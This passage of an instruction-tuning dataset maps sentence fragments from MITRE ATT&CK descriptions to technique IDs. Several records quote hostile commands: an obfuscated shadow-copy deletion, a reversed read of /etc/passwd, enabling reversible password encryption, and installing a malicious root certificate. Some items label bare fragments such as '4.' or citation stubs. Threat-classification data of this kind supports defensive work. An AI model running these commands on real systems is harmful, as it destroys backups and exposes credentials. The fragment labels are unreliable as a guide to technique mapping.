2021)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSTIC NOBELIUM May 2021)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlflank HTML Smuggling 2018)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlflank HTML Smuggling 2018)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "nccgroup Smuggling HTA 2017)", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: nccgroup Smuggling HTA 2017) ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To decrypt the passwords, an adversary needs four components:\n\n1.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To decrypt the passwords, an adversary needs four components:\n\n1. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate content during command execution to impede detection.", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate content during command execution to impede detection. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze.", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`.", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "`$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\.. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\\Windows\\tei\\qs\\k\\..\\..", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \\Windows\\tei\\qs\\k\\..\\.. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Root certificates are used in public key cryptography to identify a root certificate authority (CA).", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Root certificates are used in public key cryptography to identify a root certificate authority (CA). ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the security settings, the browser may not allow the user to establish a connection to the website.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the security settings, the browser may not allow the user to establish a connection to the website. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Code Signing Dec 2017)", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Code Signing Dec 2017) ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-r trustRoot -k /Library/Keychains/System.keychain", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -r trustRoot -k /Library/Keychains/System.keychain ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: objective-see ay mami 2018)", "output": "T1130", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: objective-see ay mami 2018) ### Response: T1130."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender.", "output": "T1022", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. ### Response: T1022."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol.", "output": "T1022", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. ### Response: T1022."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common file archive formats that can encrypt files are RAR and zip.", "output": "T1022", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common file archive formats that can encrypt files are RAR and zip. ### Response: T1022."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", "output": "T1022", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) ### Response: T1022."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques 